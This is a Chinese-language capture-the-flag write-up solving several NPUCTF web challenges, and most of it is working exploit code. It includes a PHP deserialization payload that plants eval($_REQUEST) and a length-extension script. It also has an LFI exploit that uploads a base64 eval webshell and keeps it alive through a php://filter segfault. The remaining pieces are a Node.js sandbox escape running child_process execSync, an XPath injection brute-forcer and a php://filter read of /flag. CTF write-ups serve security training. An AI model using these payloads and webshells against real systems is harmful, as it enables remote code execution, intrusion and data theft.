NPUCTF_Web_Wp

NPUCTF_Web_Wp

[TOC]

查源码

view-source:查看源码

ReadlezPHP

/time.php?source查看源码
反序列化
payload

1
2
3
4
5
6
7
8
<?php
class HelloPhp
{
public $a='eval($_REQUEST[820]);';
public $b='assert';
}
$a=new HelloPhp();
echo serialize($a);

time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:21:"eval($_REQUEST[820]);";s:1:"b";s:6:"assert";}&820=phpinfo();

ezinclude

查看源码有个<!--md5($secret.$name)===$pass -->
以为是哈希长度拓展攻击,发现直接user=admin&pass=973225ae4fc8977f86d1a330b0774630就进去了
预期应该是hashpump试长度

1
2
3
4
5
6
7
8
9
import requests
import hashpumpy
import urllib
url='xxxxxx'
for i in range(40):
a,b=hashpumpy.hashpump('a3dabbc779f2fbf8b6f56113ca78a7f9','123444','1',i)
req=requests.get(url+"name={}&pass={}".format(urllib.parse.quote(b),a))
if 'username/password error' not in req.text:
print(req.text,url+"name={}&pass={}".format(urllib.parse.quote(b),a))

进到flflflflag.php有任意文件读取,但是把data|input|zip过滤了正常姿势不能getshell了
https://www.jianshu.com/p/dfd049924258

1
2
3
4
5
6
7
8
可以导致 php 在执行过程中 Segment Fault
想到可以利用在本地文件包含漏洞中
之前在网上的分析文章中 , 本地文件包含漏洞可以让 php 包含自身从而导致死循环
然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留

作者:王一航
链接:https://www.jianshu.com/p/dfd049924258
来源:简书

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import string
import itertools

charset = string.digits + string.letters
base_url = "http://f14f9785-1fd6-43c4-a556-b2469171fc61.node3.buuoj.cn/flflflflag.php"

def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
except Exception as e:
print e

def generate_tmp_files():
webshell_content = '<?php eval($_REQUEST[c]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/dkkk", base64_decode("%s")))?>' % (webshell_content)
phpinfo_url = "%s?file=php://filter/string.strip_tags/resource=/etc/passwd" % (base_url)
length = 6
times = len(charset) ** (length / 2)
for i in xrange(5):
print "[+] %d / %d" % (i, times)
upload_file_to_include(phpinfo_url, file_content)

def main():
generate_tmp_files()

if __name__ == "__main__":
main()

文件读一下/tmp/phpxxxxxx就把shell写进/tmp/dkkk了,直接包含getshell

好像有师傅upload_progress写shell成功了,俺没试成功呜呜呜tcl

超简单的PHP!!!超简单!!!

利用多行注释往session写shell

验证🐎

node的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});

第一步要过if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))
Y1ng师傅之前的文章
利用js弱类型
payload:

1
{"e":payload,"first":"0","second":[0]}

第二层是if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, ''))
只能使用Math.xxxxx[()+\-*/&|^%<>=,?:]

ES6中允许使用“箭头”(=>)定义函数

1
2
3
4
5
var f = v => v; 
相当于
var function(v){
return v;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
import re
encode = lambda code: list(map(ord,code))
decode = lambda code: "".join(map(chr,code))
a=f"""
(m0=>(
m0=m0.constructor,
m0.x=m0.constructor(
m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")})
)()
))(Math+1)
"""
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math")
print(a)

payload:

1
{"e":"(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)","first":"0","second":[0]}

ezlogin

Xpath注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#-- coding:UTF-8 --
import requests
import re
r = requests.session()
s = 'abcdefghijklmnopqrstuvwxyz1234567890'
headers = {'Content-Type':'application/xml'}
flag = ""
url = 'http://47.92.255.176:1004/'
payload = "' or string-length(name(/*[1]))={} or '1" #根元素下的节点长度
payload1 = "' or substring(name(/*[1]), {}, 1)='{}' or '1" #根元素 root
payload2 = "' or substring(name(/root/*[1]), {}, 1)='{}' or '1"
payload3 = "' or substring(name(/root/accounts/*[1]), {}, 1)='{}' or '1"
payload4 = "' or substring(name(/root/accounts/user/*[1]), {}, 1)='{}' or '1" #id
payload5 = "' or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or '1" #username
payload6 = "' or substring(name(/root/accounts/user/*[3]), {}, 1)='{}' or '1" #password
payload7 = "' or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or '1" #adm1n
payload7 = "' or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or '1"
for i in range(40):
for b in s:
token = re.search('<input type="hidden" id="token" value="(.*)" />',r.get(url).text)[1]
data = "<username>"+payload7.format(i,b)+"</username><password>12</password><token>"+token+"</token>";
result = r.post(url=url+'login.php',headers=headers,data=data).text
if '非法操作' in result:
flag += b
print(flag)
break

拿到用户名+密码登陆
文件包含
/admin.php?file=Php://Filter/Read=convert.Base64-encode/resource=/flag

Web🐶

Web+密码学

ezshiro